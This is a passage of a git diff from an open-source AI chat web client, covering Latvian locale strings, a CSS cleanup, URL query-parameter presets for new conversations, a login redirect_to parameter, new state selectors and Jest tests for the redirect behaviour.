   "com_endpoint_anthropic_prompt_cache": "Uzvednes kešatmiņa ļauj atkārtoti izmantot lielu kontekstu vai instrukcijas API izsaukumos, samazinot izmaksas un ābildes ātrumu.",
   "com_endpoint_anthropic_temp": "Diapazons no 0 līdz 1. Analītiskiem/atbilžu variantiem izmantot temp vērtību tuvāk 0, bet radošiem un ģeneratīviem uzdevumiem — tuvāk 1. Iesakām mainīt šo vai Top P, bet ne abus.",
-  "com_endpoint_anthropic_thinking": "Iespējo iekšējo domāšanu atbalstītajiem Claude modeļiem (3.7 Sonnet). Piezīme: nepieciešams iestatīt \"Domāšanas budžetu\", kam arī jābūt zemākam par \"Max Output Tokens\".",
-  "com_endpoint_anthropic_thinking_budget": "Nosaka maksimālo žetonu skaitu, ko Claude drīkst izmantot savā iekšējā domāšanas procesā. Lielāki budžeti var uzlabot atbilžu kvalitāti, nodrošinot rūpīgāku analīzi sarežģītām problēmām, lai gan Claude var neizmantot visu piešķirto budžetu, īpaši diapazonos virs 32 000. Šim iestatījumam jābūt zemākam par \"Maksimālie izvades tokeni\".",
+  "com_endpoint_anthropic_thinking": "Iespējo iekšējo spriešanu atbalstītajiem Claude modeļiem (3.7 Sonnet). Piezīme: nepieciešams iestatīt \"Domāšanas budžetu\", kam arī jābūt zemākam par \"Max Output Tokens\".",
+  "com_endpoint_anthropic_thinking_budget": "Nosaka maksimālo žetonu skaitu, ko Claude drīkst izmantot savā iekšējā spriešanas procesā. Lielāki budžeti var uzlabot atbilžu kvalitāti, nodrošinot rūpīgāku analīzi sarežģītām problēmām, lai gan Claude var neizmantot visu piešķirto budžetu, īpaši diapazonos virs 32 000. Šim iestatījumam jābūt zemākam par \"Maksimālie izvades tokeni\".",
   "com_endpoint_anthropic_topk": "Top-k maina to, kā modelis atlasa marķierus izvadei. Ja top-k ir 1, tas nozīmē, ka atlasītais marķieris ir visticamākais starp visiem modeļa vārdu krājumā esošajiem marķieriem (to sauc arī par alkatīgo dekodēšanu), savukārt, ja top-k ir 3, tas nozīmē, ka nākamais marķieris tiek izvēlēts no 3 visticamākajiem marķieriem (izmantojot temperatūru).",
   "com_endpoint_anthropic_topp": "`Top-p` maina to, kā modelis atlasa marķierus izvadei. Marķieri tiek atlasīti no K (skatīt parametru topK) ticamākās līdz vismazāk ticamajai, līdz to varbūtību summa ir vienāda ar `top-p` vērtību.",
-  "com_endpoint_anthropic_use_web_search": "Iespējojiet tīmekļa meklēšanas funkcionalitāti, izmantojot Anthropic iebūvētās meklēšanas iespējas. Tas ļauj modelim meklēt tīmeklī jaunāko informāciju un sniegt precīzākas un aktuālākas atbildes.",
+  "com_endpoint_anthropic_use_web_search": "Iespējojiet meklēšanu tīmeklī funkcionalitāti, izmantojot Anthropic iebūvētās meklēšanas iespējas. Tas ļauj modelim meklēt tīmeklī jaunāko informāciju un sniegt precīzākas un aktuālākas atbildes.",
   "com_endpoint_assistant": "Asistents",
   "com_endpoint_assistant_model": "Asistenta modelis",
   "com_endpoint_assistant_placeholder": "Lūdzu, labajā sānu panelī atlasiet asistentu.",
+  "com_endpoint_bedrock_reasoning_effort": "Kontrolē spriešanas līmeni atbalstītajiem Bedrock modeļiem (piemēram, Kimi K2.5, GLM). Augstāki līmeņi nodrošina pamatīgāku argumentāciju, taču tas maksā ar lielāku kavēšanos un lielākiem tokeniem.",
   "com_endpoint_config_click_here": "Noklikšķiniet šeit",
   "com_endpoint_config_google_api_info": "Lai iegūtu savu Ģeneratīvās valodas API atslēgu (Gemini),",
   "com_endpoint_config_google_api_key": "Google API atslēga",
@@ -276,6 +277,7 @@
   "com_endpoint_google_temp": "Augstākas vērtības = nejaušāks, savukārt zemākas vērtības = fokusētāks un deterministiskāks. Iesakām mainīt šo vai Top P, bet ne abus.",
   "com_endpoint_google_thinking": "Iespējo vai atspējo spriešanas funkciju. Šo iestatījumu atbalsta tikai daži modeļi (2.5 sērija). Vecākiem modeļiem šim iestatījumam var nebūt nekādas ietekmes.",
   "com_endpoint_google_thinking_budget": "Norāda modeļa izmantoto domāšanas tokenu skaitu. Faktiskais skaits var pārsniegt vai būt mazāks par šo vērtību atkarībā no uzvednes.\n\nŠo iestatījumu atbalsta tikai noteikti modeļi (2.5 sērija). Gemini 2.5 Pro atbalsta 128–32 768 žetonus. Gemini 2.5 Flash atbalsta 0–24 576 žetonus. Gemini 2.5 Flash Lite atbalsta 512–24 576 žetonus.\n\nAtstājiet tukšu vai iestatiet uz \"-1\", lai modelis automātiski izlemtu, kad un cik daudz domāt. Pēc noklusējuma Gemini 2.5 Flash Lite nedomā.",
+  "com_endpoint_google_thinking_level": "Kontrolē spriešanas dziļumu Gemini 3 un jaunākos modeļos. Nav ietekmes uz Gemini 2.5 un vecākiem modeļiem - tiem izmantojiet Domāšanas budžetu.\n\nLai izmantotu modeļa noklusējuma iestatījumu, atstājiet iestatījumu Automātiski.",
   "com_endpoint_google_topk": "Top-k maina to, kā modelis atlasa marķierus izvadei. Ja top-k ir 1, tas nozīmē, ka atlasītais marķieris ir visticamākais starp visiem modeļa vārdu krājumā esošajiem marķieriem (to sauc arī par alkatīgo dekodēšanu), savukārt, ja top-k ir 3, tas nozīmē, ka nākamais marķieris tiek izvēlēts no 3 visticamākajiem marķieriem (izmantojot temperatūru).",
   "com_endpoint_google_topp": "`Top-p` maina to, kā modelis atlasa tokenus izvadei. Marķieri tiek atlasīti no K (skatīt parametru topK) ticamākās līdz vismazāk ticamajai, līdz to varbūtību summa ir vienāda ar `top-p` vērtību.",
   "com_endpoint_google_use_search_grounding": "Izmantot Google meklēšanas pamatošanas funkciju, lai uzlabotu atbildes ar reāllaika tīmekļa meklēšanas rezultātiem. Tas ļauj modeļiem piekļūt aktuālajai informācijai un sniegt precīzākas, aktuālākas atbildes.",
@@ -332,7 +334,7 @@
   "com_endpoint_prompt_prefix_assistants": "Papildu instrukcijas",
   "com_endpoint_prompt_prefix_assistants_placeholder": "Iestatiet papildu norādījumus vai kontekstu virs Asistenta galvenajiem norādījumiem. Ja lauks ir tukšs, tas tiek ignorēts.",
   "com_endpoint_prompt_prefix_placeholder": "Iestatiet pielāgotas instrukcijas vai kontekstu. Ja lauks ir tukšs, tas tiek ignorēts.",
-  "com_endpoint_reasoning_effort": "Spriešanas līmenis",
+  "com_endpoint_reasoning_effort": "Spriešanas piepūle",
   "com_endpoint_reasoning_summary": "Spriešanas kopsavilkums",
   "com_endpoint_save_as_preset": "Saglabāt kā iestatījumu",
   "com_endpoint_search": "Meklēt galapunktu pēc nosaukuma",
@@ -345,6 +347,7 @@
   "com_endpoint_temperature": "Temperatūra",
   "com_endpoint_thinking": "Domāšana",
   "com_endpoint_thinking_budget": "Domāšanas budžets",
+  "com_endpoint_thinking_level": "Domāšanas līmenis",
   "com_endpoint_top_k": "Top K",
   "com_endpoint_top_p": "Top P",
   "com_endpoint_use_active_assistant": "Izmantojiet aktīvo asistentu",
@@ -490,7 +493,7 @@
   "com_nav_info_latex_parsing": "Ja šī opcija ir iespējota, LaTeX kods ziņās tiks atveidots kā matemātiski vienādojumi. Šīs opcijas atspējošana var uzlabot veiktspēju, ja LaTeX atveidošana nav nepieciešama.",
   "com_nav_info_save_badges_state": "Ja šī opcija ir iespējota, sarunu nozīmīšu stāvoklis tiks saglabāts. Tas nozīmē, ka, izveidojot jaunu sarunu, nozīmītes paliks tādā pašā stāvoklī kā iepriekšējā sarunā. Ja atspējosiet šo opciju, nozīmītes tiks atiestatītas uz noklusējuma stāvokli katru reizi, kad izveidosiet jaunu sarunu.",
   "com_nav_info_save_draft": "Ja šī opcija ir iespējota, sarunas veidlapā ievadītais teksts un pielikumi tiks automātiski saglabāti lokāli kā melnraksti. Šie melnraksti būs pieejami pat tad, ja atkārtoti ielādēsiet lapu vai pārslēgsieties uz citu sarunu. Melnraksti tiek saglabāti lokāli jūsu ierīcē un tiek dzēsti, tiklīdz ziņa ir nosūtīts.",
-  "com_nav_info_show_thinking": "Ja šī opcija ir iespējota, sarunas pēc noklusējuma tiks atvērtas domāšanas nolaižamās izvēlnes, ļaujot reāllaikā skatīt mākslīgā intelekta spriešanu. Ja šī opcija ir atspējota, domāšanas nolaižamās izvēlnes pēc noklusējuma paliks aizvērtas, lai saskarne būtu tīrāka un vienkāršāka.",
+  "com_nav_info_show_thinking": "Ja šī opcija ir iespējota, sarunas pēc noklusējuma tiks atvērtas domāšanas nolaižamā izvēlne, ļaujot reāllaikā skatīt mākslīgā intelekta spriešanu. Ja šī opcija ir atspējota, domāšanas nolaižamās izvēlnes pēc noklusējuma paliks aizvērtas, lai saskarne būtu tīrāka un vienkāršāka.",
   "com_nav_info_user_name_display": "Ja šī opcija ir iespējota, sūtītāja lietotājvārds tiks rādīts virs katra jūsu nosūtītās ziņas. Ja šī opcija ir atspējota, virs ziņām redzēsiet tikai vārdu \"Jūs\".",
   "com_nav_keep_screen_awake": "Atbildes ģenerēšanas laikā atstājiet ekrānu nomodā",
   "com_nav_lang_arabic": "العربية",
@@ -842,6 +845,7 @@
   "com_ui_controls": "Pārvaldība",
   "com_ui_conversation": "saruna",
   "com_ui_conversation_label": "{{title}} saruna",
+  "com_ui_conversation_not_found": "Saruna nav atrasta",
   "com_ui_conversations": "sarunas",
   "com_ui_convo_archived": "Sarunas arhivētas",
   "com_ui_convo_delete_error": "Neizdevās izdzēst sarunu",
@@ -1455,7 +1459,7 @@
   "com_ui_upload_delay": "Augšupielāde \"{{0}}\" aizņem vairāk laika nekā paredzēts. Lūdzu, uzgaidiet, kamēr faila indeksēšana ir pabeigta izguvei.",
   "com_ui_upload_error": "Augšupielādējot failu, radās kļūda.",
   "com_ui_upload_file_context": "Augšupielādēt failu kā kontekstu",
-  "com_ui_upload_file_search": "Augšupielādēt vektorizētai meklēšanai",
+  "com_ui_upload_file_search": "Pievienot meklēšanai dokumentos",
   "com_ui_upload_files": "Augšupielādēt failus",
   "com_ui_upload_icon": "Augšupielādēt ikonas attēlu",
   "com_ui_upload_image": "Augšupielādēt failu kā attēlu",
@@ -1463,7 +1467,7 @@
   "com_ui_upload_invalid": "Nederīgs augšupielādējamais fails. Attēlam jābūt tādam, kas nepārsniedz ierobežojumu.",
   "com_ui_upload_invalid_var": "Nederīgs augšupielādējams fails. Attēlam jābūt ne lielākam par {{0}} MB",
   "com_ui_upload_ocr_text": "Augšupielādēt failu kā kontekstu",
-  "com_ui_upload_provider": "Augšupielādēt pakalpojumu sniedzējam",
+  "com_ui_upload_provider": "Pievienot čatam",
   "com_ui_upload_success": "Fails veiksmīgi augšupielādēts",
   "com_ui_upload_type": "Izvēlieties augšupielādes veidu",
   "com_ui_usage": "Izmantošana",
@@ -1482,7 +1486,7 @@
   "com_ui_version_var": "Versija {{0}}",
   "com_ui_versions": "Versijas",
   "com_ui_view_memory": "Skatīt atmiņu",
-  "com_ui_web_search": "Tīmekļa meklēšana",
+  "com_ui_web_search": "Meklēšana tīmeklī",
   "com_ui_web_search_cohere_key": "Ievadiet Cohere API atslēgu",
   "com_ui_web_search_firecrawl_url": "Firecrawl API URL (pēc izvēles)",
   "com_ui_web_search_jina_key": "Ievadiet Jina API atslēgu",
diff --git a/client/src/mobile.css b/client/src/mobile.css
index 20eeb5d1da..0d31b41134 100644
--- a/client/src/mobile.css
+++ b/client/src/mobile.css
@@ -349,26 +349,6 @@
   animation: shake 0.5s cubic-bezier(.36,.07,.19,.97) both;
 }
 
-div[role="tabpanel"][data-state="active"][data-orientation="horizontal"][aria-labelledby^="radix-"][id^="radix-"][id$="-content-preview"] {
-  scrollbar-gutter: stable !important;
-  background-color: rgba(205, 205, 205, 0.66) !important;
-}
-
-div[role="tabpanel"][data-state="active"][data-orientation="horizontal"][aria-labelledby^="radix-"][id^="radix-"][id$="-content-preview"]::-webkit-scrollbar {
-  width: 12px !important;
-}
-
-div[role="tabpanel"][data-state="active"][data-orientation="horizontal"][aria-labelledby^="radix-"][id^="radix-"][id$="-content-preview"]::-webkit-scrollbar-thumb {
-  background-color: rgba(56, 56, 56) !important;
-  border-radius: 6px !important;
-  border: 2px solid transparent !important;
-  background-clip: padding-box !important;
-}
-
-div[role="tabpanel"][data-state="active"][data-orientation="horizontal"][aria-labelledby^="radix-"][id^="radix-"][id$="-content-preview"]::-webkit-scrollbar-track {
-  background-color: transparent !important;
-}
-
 .cm-content:focus {
   outline: none !important;
 }
diff --git a/client/src/routes/ChatRoute.tsx b/client/src/routes/ChatRoute.tsx
index c8fea73470..dcb58c3f49 100644
--- a/client/src/routes/ChatRoute.tsx
+++ b/client/src/routes/ChatRoute.tsx
@@ -1,7 +1,7 @@
 import { useEffect } from 'react';
-import { useParams } from 'react-router-dom';
 import { useRecoilCallback, useRecoilValue } from 'recoil';
 import { Spinner, useToastContext } from '@librechat/client';
+import { useParams, useSearchParams } from 'react-router-dom';
 import { Constants, EModelEndpoint } from 'librechat-data-provider';
 import { useGetModelsQuery } from 'librechat-data-provider/react-query';
 import type { TPreset } from 'librechat-data-provider';
@@ -13,7 +13,13 @@ import {
   useLocalize,
 } from '~/hooks';
 import { useGetConvoIdQuery, useGetStartupConfig, useGetEndpointsQuery } from '~/data-provider';
-import { getDefaultModelSpec, getModelSpecPreset, logger, isNotFoundError } from '~/utils';
+import {
+  getDefaultModelSpec,
+  getModelSpecPreset,
+  processValidSettings,
+  logger,
+  isNotFoundError,
+} from '~/utils';
 import { ToolCallsMapProvider } from '~/Providers';
 import ChatView from '~/components/Chat/ChatView';
 import { NotificationSeverity } from '~/common';
@@ -36,6 +42,7 @@ export default function ChatRoute() {
   useAppStartup({ startupConfig, user });
 
   const index = 0;
+  const [searchParams] = useSearchParams();
   const { conversationId = '' } = useParams();
   useIdChangeEffect(conversationId);
   const { hasSetConversation, conversation } = store.useCreateConversationAtom(index);
@@ -80,14 +87,34 @@ export default function ChatRoute() {
       return;
     }
 
-    if (conversationId === Constants.NEW_CONVO && endpointsQuery.data && modelsQuery.data) {
+    const isNewConvo = conversationId === Constants.NEW_CONVO;
+
+    const getNewConvoPreset = () => {
       const result = getDefaultModelSpec(startupConfig);
       const spec = result?.default ?? result?.last;
+      const specPreset = spec ? getModelSpecPreset(spec) : undefined;
+
+      const queryParams: Record<string, string> = {};
+      searchParams.forEach((value, key) => {
+        if (key !== 'prompt' && key !== 'q' && key !== 'submit') {
+          queryParams[key] = value;
+        }
+      });
+      const querySettings = processValidSettings(queryParams);
+
+      return Object.keys(querySettings).length > 0
+        ? { ...specPreset, ...querySettings }
+        : specPreset;
+    };
+
+    if (isNewConvo && endpointsQuery.data && modelsQuery.data) {
+      const preset = getNewConvoPreset();
+
       logger.log('conversation', 'ChatRoute, new convo effect', conversation);
       newConversation({
         modelsData: modelsQuery.data,
         template: conversation ? conversation : undefined,
-        ...(spec ? { preset: getModelSpecPreset(spec) } : {}),
+        ...(preset ? { preset } : {}),
       });
 
       hasSetConversation.current = true;
@@ -125,17 +152,17 @@ export default function ChatRoute() {
       });
       hasSetConversation.current = true;
     } else if (
-      conversationId === Constants.NEW_CONVO &&
+      isNewConvo &&
       assistantListMap[EModelEndpoint.assistants] &&
       assistantListMap[EModelEndpoint.azureAssistants]
     ) {
-      const result = getDefaultModelSpec(startupConfig);
-      const spec = result?.default ?? result?.last;
+      const preset = getNewConvoPreset();
+
       logger.log('conversation', 'ChatRoute new convo, assistants effect', conversation);
       newConversation({
         modelsData: modelsQuery.data,
         template: conversation ? conversation : undefined,
-        ...(spec ? { preset: getModelSpecPreset(spec) } : {}),
+        ...(preset ? { preset } : {}),
       });
       hasSetConversation.current = true;
     } else if (
diff --git a/client/src/routes/Layouts/Startup.tsx b/client/src/routes/Layouts/Startup.tsx
index 9c9e0952dd..bb0e5ef254 100644
--- a/client/src/routes/Layouts/Startup.tsx
+++ b/client/src/routes/Layouts/Startup.tsx
@@ -1,9 +1,10 @@
 import { useEffect, useState } from 'react';
 import { Outlet, useNavigate, useLocation } from 'react-router-dom';
 import type { TStartupConfig } from 'librechat-data-provider';
+import { TranslationKeys, useLocalize } from '~/hooks';
 import { useGetStartupConfig } from '~/data-provider';
 import AuthLayout from '~/components/Auth/AuthLayout';
-import { TranslationKeys, useLocalize } from '~/hooks';
+import { REDIRECT_PARAM, SESSION_KEY } from '~/utils';
 
 const headerMap: Record<string, TranslationKeys> = {
   '/login': 'com_auth_welcome_back',
@@ -30,7 +31,12 @@ export default function StartupLayout({ isAuthenticated }: { isAuthenticated?: b
 
   useEffect(() => {
     if (isAuthenticated) {
-      navigate('/c/new', { replace: true });
+      const hasPendingRedirect =
+        new URLSearchParams(window.location.search).has(REDIRECT_PARAM) ||
+        sessionStorage.getItem(SESSION_KEY) != null;
+      if (!hasPendingRedirect) {
+        navigate('/c/new', { replace: true });
+      }
     }
     if (data) {
       setStartupConfig(data);
diff --git a/client/src/routes/Root.tsx b/client/src/routes/Root.tsx
index 3e6bff1457..b9adae032b 100644
--- a/client/src/routes/Root.tsx
+++ b/client/src/routes/Root.tsx
@@ -88,6 +88,7 @@ export default function Root() {
                           }
                         : undefined
                     }
+                    {...{ inert: navVisible && isSmallScreen ? '' : undefined }}
                   >
                     <MobileNav navVisible={navVisible} setNavVisible={setNavVisible} />
                     <Outlet context={{ navVisible, setNavVisible } satisfies ContextType} />
diff --git a/client/src/routes/__tests__/StartupLayout.spec.tsx b/client/src/routes/__tests__/StartupLayout.spec.tsx
new file mode 100644
index 0000000000..372345fe1c
--- /dev/null
+++ b/client/src/routes/__tests__/StartupLayout.spec.tsx
@@ -0,0 +1,114 @@
+/* eslint-disable i18next/no-literal-string */
+import React from 'react';
+import { render, waitFor } from '@testing-library/react';
+import { createMemoryRouter, RouterProvider } from 'react-router-dom';
+import StartupLayout from '~/routes/Layouts/Startup';
+import { SESSION_KEY } from '~/utils';
+
+if (typeof Request === 'undefined') {
+  global.Request = class Request {
+    constructor(
+      public url: string,
+      public init?: RequestInit,
+    ) {}
+  } as any;
+}
+
+jest.mock('~/data-provider', () => ({
+  useGetStartupConfig: jest.fn(() => ({
+    data: null,
+    isFetching: false,
+    error: null,
+  })),
+}));
+
+jest.mock('~/hooks', () => ({
+  useLocalize: jest.fn(() => (key: string) => key),
+  TranslationKeys: {},
+}));
+
+jest.mock('~/components/Auth/AuthLayout', () => {
+  return function MockAuthLayout({ children }: { children: React.ReactNode }) {
+    return <div data-testid="auth-layout">{children}</div>;
+  };
+});
+
+function ChildRoute() {
+  return <div data-testid="child-route">Child</div>;
+}
+
+function NewConversation() {
+  return <div data-testid="new-conversation">New Conversation</div>;
+}
+
+const createTestRouter = (initialEntry: string, isAuthenticated: boolean) =>
+  createMemoryRouter(
+    [
+      {
+        path: '/login',
+        element: <StartupLayout isAuthenticated={isAuthenticated} />,
+        children: [{ index: true, element: <ChildRoute /> }],
+      },
+      {
+        path: '/c/new',
+        element: <NewConversation />,
+      },
+    ],
+    { initialEntries: [initialEntry] },
+  );
+
+describe('StartupLayout — redirect race condition', () => {
+  beforeEach(() => {
+    sessionStorage.clear();
+  });
+
+  afterEach(() => {
+    window.history.replaceState({}, '', '/');
+    jest.restoreAllMocks();
+  });
+
+  it('navigates to /c/new when authenticated with no pending redirect', async () => {
+    window.history.replaceState({}, '', '/login');
+
+    const router = createTestRouter('/login', true);
+    render(<RouterProvider router={router} />);
+
+    await waitFor(() => {
+      expect(router.state.location.pathname).toBe('/c/new');
+    });
+  });
+
+  it('does NOT navigate to /c/new when redirect_to URL param is present', async () => {
+    window.history.replaceState({}, '', '/login?redirect_to=%2Fc%2Fabc123');
+
+    const router = createTestRouter('/login?redirect_to=%2Fc%2Fabc123', true);
+    render(<RouterProvider router={router} />);
+
+    await new Promise((resolve) => setTimeout(resolve, 100));
+
+    expect(router.state.location.pathname).toBe('/login');
+  });
+
+  it('does NOT navigate to /c/new when sessionStorage redirect is present', async () => {
+    window.history.replaceState({}, '', '/login');
+    sessionStorage.setItem(SESSION_KEY, '/c/abc123');
+
+    const router = createTestRouter('/login', true);
+    render(<RouterProvider router={router} />);
+
+    await new Promise((resolve) => setTimeout(resolve, 100));
+
+    expect(router.state.location.pathname).toBe('/login');
+  });
+
+  it('does NOT navigate when not authenticated', async () => {
+    window.history.replaceState({}, '', '/login');
+
+    const router = createTestRouter('/login', false);
+    render(<RouterProvider router={router} />);
+
+    await new Promise((resolve) => setTimeout(resolve, 100));
+
+    expect(router.state.location.pathname).toBe('/login');
+  });
+});
diff --git a/client/src/routes/__tests__/useAuthRedirect.spec.tsx b/client/src/routes/__tests__/useAuthRedirect.spec.tsx
index 19226aa29f..adb06e15bc 100644
--- a/client/src/routes/__tests__/useAuthRedirect.spec.tsx
+++ b/client/src/routes/__tests__/useAuthRedirect.spec.tsx
@@ -33,9 +33,8 @@ function TestComponent() {
  * Creates a test router with optional basename to verify navigation works correctly
  * with subdirectory deployments (e.g., /librechat)
  */
-const createTestRouter = (basename = '/') => {
-  // When using basename, initialEntries must include the basename
-  const initialEntry = basename === '/' ? '/' : `${basename}/`;
+const createTestRouter = (basename = '/', initialEntry?: string) => {
+  const defaultEntry = basename === '/' ? '/' : `${basename}/`;
 
   return createMemoryRouter(
     [
@@ -47,10 +46,14 @@ const createTestRouter = (basename = '/') => {
         path: '/login',
         element: <div data-testid="login-page">Login Page</div>,
       },
+      {
+        path: '/c/:id',
+        element: <TestComponent />,
+      },
     ],
     {
       basename,
-      initialEntries: [initialEntry],
+      initialEntries: [initialEntry ?? defaultEntry],
     },
   );
 };
@@ -199,4 +202,104 @@ describe('useAuthRedirect', () => {
       expect(testResult.isAuthenticated).toBe(true);
     });
   });
+
+  it('should include redirect_to param with encoded current path when redirecting', async () => {
+    (useAuthContext as jest.Mock).mockReturnValue({
+      user: null,
+      isAuthenticated: false,
+    });
+
+    const router = createTestRouter('/', '/c/abc123');
+    render(<RouterProvider router={router} />);
+
+    await waitFor(
+      () => {
+        expect(router.state.location.pathname).toBe('/login');
+        const search = router.state.location.search;
+        const params = new URLSearchParams(search);
+        const redirectTo = params.get('redirect_to');
+        expect(redirectTo).not.toBeNull();
+        expect(decodeURIComponent(redirectTo!)).toBe('/c/abc123');
+      },
+      { timeout: 1000 },
+    );
+  });
+
+  it('should encode query params and hash from the source URL', async () => {
+    (useAuthContext as jest.Mock).mockReturnValue({
+      user: null,
+      isAuthenticated: false,
+    });
+
+    const router = createTestRouter('/', '/c/abc123?q=hello&submit=true#section');
+    render(<RouterProvider router={router} />);
+
+    await waitFor(
+      () => {
+        expect(router.state.location.pathname).toBe('/login');
+        const params = new URLSearchParams(router.state.location.search);
+        const decoded = decodeURIComponent(params.get('redirect_to')!);
+        expect(decoded).toBe('/c/abc123?q=hello&submit=true#section');
+      },
+      { timeout: 1000 },
+    );
+  });
+
+  it('should not include basename in redirect_to param (prevents path doubling)', async () => {
+    (useAuthContext as jest.Mock).mockReturnValue({
+      user: null,
+      isAuthenticated: false,
+    });
+
+    /**
+     * Validates that React Router's useLocation() strips the basename before
+     * buildLoginRedirectUrl receives it, so redirect_to never contains
+     * the base prefix. The BASE_URL stripping logic inside buildLoginRedirectUrl
+     * (for callers using window.location.pathname) is tested in
+     * api-endpoints-subdir.spec.ts.
+     */
+    const router = createTestRouter('/librechat', '/librechat/c/abc123');
+    render(<RouterProvider router={router} />);
+
+    await waitFor(
+      () => {
+        expect(router.state.location.pathname).toBe('/librechat/login');
+        const search = router.state.location.search;
+        const params = new URLSearchParams(search);
+        const redirectTo = decodeURIComponent(params.get('redirect_to')!);
+        /** redirect_to should be /c/abc123, NOT /librechat/c/abc123
+         * because navigate() with basename will re-add the prefix */
+        expect(redirectTo).toBe('/c/abc123');
+        expect(redirectTo).not.toContain('/librechat/');
+      },
+      { timeout: 1000 },
+    );
+  });
+
+  it('should not append redirect_to when already on /login', async () => {
+    (useAuthContext as jest.Mock).mockReturnValue({
+      user: null,
+      isAuthenticated: false,
+    });
+
+    const router = createMemoryRouter(
+      [
+        {
+          path: '/login',
+          element: <TestComponent />,
+        },
+      ],
+      { initialEntries: ['/login'] },
+    );
+    render(<RouterProvider router={router} />);
+
+    await waitFor(
+      () => {
+        expect(router.state.location.pathname).toBe('/login');
+      },
+      { timeout: 1000 },
+    );
+
+    expect(router.state.location.search).toBe('');
+  });
 });
diff --git a/client/src/routes/useAuthRedirect.ts b/client/src/routes/useAuthRedirect.ts
index 86d8103384..cc277cd74e 100644
--- a/client/src/routes/useAuthRedirect.ts
+++ b/client/src/routes/useAuthRedirect.ts
@@ -1,22 +1,28 @@
 import { useEffect } from 'react';
-import { useNavigate } from 'react-router-dom';
+import { useLocation, useNavigate } from 'react-router-dom';
+import { buildLoginRedirectUrl } from 'librechat-data-provider';
 import { useAuthContext } from '~/hooks';
 
 export default function useAuthRedirect() {
   const { user, roles, isAuthenticated } = useAuthContext();
   const navigate = useNavigate();
+  const location = useLocation();
 
   useEffect(() => {
     const timeout = setTimeout(() => {
-      if (!isAuthenticated) {
-        navigate('/login', { replace: true });
+      if (isAuthenticated) {
+        return;
       }
+
+      navigate(buildLoginRedirectUrl(location.pathname, location.search, location.hash), {
+        replace: true,
+      });
     }, 300);
 
     return () => {
       clearTimeout(timeout);
     };
-  }, [isAuthenticated, navigate]);
+  }, [isAuthenticated, navigate, location]);
 
   return {
     user,
diff --git a/client/src/store/families.ts b/client/src/store/families.ts
index 7faec7aa9d..30b8211ab5 100644
--- a/client/src/store/families.ts
+++ b/client/src/store/families.ts
@@ -6,13 +6,18 @@ import {
   atomFamily,
   DefaultValue,
   selectorFamily,
-  useRecoilState,
   useRecoilValue,
   useSetRecoilState,
   useRecoilCallback,
 } from 'recoil';
 import { LocalStorageKeys, isEphemeralAgentId, Constants } from 'librechat-data-provider';
-import type { TMessage, TPreset, TConversation, TSubmission } from 'librechat-data-provider';
+import type {
+  EModelEndpoint,
+  TConversation,
+  TSubmission,
+  TMessage,
+  TPreset,
+} from 'librechat-data-provider';
 import type { TOptionSettings, ExtendedFile } from '~/common';
 import {
   clearModelForNonEphemeralAgent,
@@ -151,6 +156,54 @@ const allConversationsSelector = selector({
   },
 });
 
+const conversationIdByIndex = selectorFamily<string | null, string | number>({
+  key: 'conversationIdByIndex',
+  get:
+    (index: string | number) =>
+    ({ get }) =>
+      get(conversationByIndex(index))?.conversationId ?? null,
+});
+
+const conversationEndpointByIndex = selectorFamily<EModelEndpoint | null, string | number>({
+  key: 'conversationEndpointByIndex',
+  get:
+    (index: string | number) =>
+    ({ get }) =>
+      get(conversationByIndex(index))?.endpoint ?? null,
+});
+
+const conversationModelByIndex = selectorFamily<string | null, string | number>({
+  key: 'conversationModelByIndex',
+  get:
+    (index: string | number) =>
+    ({ get }) =>
+      get(conversationByIndex(index))?.model ?? null,
+});
+
+const conversationSpecByIndex = selectorFamily<string | null, string | number>({
+  key: 'conversationSpecByIndex',
+  get:
+    (index: string | number) =>
+    ({ get }) =>
+      get(conversationByIndex(index))?.spec ?? null,
+});
+
+const conversationAgentIdByIndex = selectorFamily<string | null, string | number>({
+  key: 'conversationAgentIdByIndex',
+  get:
+    (index: string | number) =>
+    ({ get }) =>
+      get(conversationByIndex(index))?.agent_id ?? null,
+});
+
+const conversationAssistantIdByIndex = selectorFamily<string | null, string | number>({
+  key: 'conversationAssistantIdByIndex',
+  get:
+    (index: string | number) =>
+    ({ get }) =>
+      get(conversationByIndex(index))?.assistant_id ?? null,
+});
+
 const presetByIndex = atomFamily<TPreset | null, string | number>({
   key: 'presetByIndex',
   default: null,
@@ -268,19 +321,27 @@ const messagesSiblingIdxFamily = atomFamily<number, string | null | undefined>({
 
 function useCreateConversationAtom(key: string | number) {
   const hasSetConversation = useSetConvoContext();
-  const [keys, setKeys] = useRecoilState(conversationKeysAtom);
-  const setConversation = useSetRecoilState(conversationByIndex(key));
+  const setKeys = useSetRecoilState(conversationKeysAtom);
   const conversation = useRecoilValue(conversationByIndex(key));
+  const setConversation = useSetRecoilState(conversationByIndex(key));
 
   useEffect(() => {
-    if (!keys.includes(key)) {
-      setKeys([...keys, key]);
-    }
-  }, [key, keys, setKeys]);
+    setKeys((prevKeys) => {
+      if (prevKeys.includes(key)) {
+        return prevKeys;
+      }
+      return [...prevKeys, key];
+    });
+  }, [key, setKeys]);
 
   return { hasSetConversation, conversation, setConversation };
 }
 
+function useSetConversationAtom(key: string | number) {
+  const { setConversation } = useCreateConversationAtom(key);
+  return { setConversation };
+}
+
 function useClearConvoState() {
   /** Clears all active conversations. Pass `true` to skip the first or root conversation */
   const clearAllConversations = useRecoilCallback(
@@ -309,15 +370,7 @@ function useClearConvoState() {
   return clearAllConversations;
 }
 
-const conversationByKeySelector = selectorFamily({
-  key: 'conversationByKeySelector',
-  get:
-    (index: string | number) =>
-    ({ get }) => {
-      const conversation = get(conversationByIndex(index));
-      return conversation;
-    },
-});
+const conversationByKeySelector = conversationByIndex;
 
 function useClearSubmissionState() {
   const clearAllSubmissions = useRecoilCallback(
@@ -411,9 +464,16 @@ export default {
   messagesSiblingIdxFamily,
   anySubmittingSelector,
   allConversationsSelector,
+  conversationIdByIndex,
+  conversationEndpointByIndex,
+  conversationModelByIndex,
+  conversationSpecByIndex,
+  conversationAgentIdByIndex,
+  conversationAssistantIdByIndex,
   conversationByKeySelector,
   useClearConvoState,
   useCreateConversationAtom,
+  useSetConversationAtom,
   showMentionPopoverFamily,
   globalAudioURLFamily,
   activeRunFamily,
diff --git a/client/src/utils/__tests__/mermaid.test.ts b/client/src/utils/__tests__/mermaid.test.ts
new file mode 100644
index 0000000000..eb34c2c0f8
--- /dev/null
+++ b/client/src/utils/__tests__/mermaid.test.ts
@@ -0,0 +1,172 @@
+import {
+  fixSubgraphTitleContrast,
+  artifactFlowchartConfig,
+  inlineFlowchartConfig,
+  getMermaidFiles,
+} from '~/utils/mermaid';
+
+const makeSvg = (clusters: string): Element => {
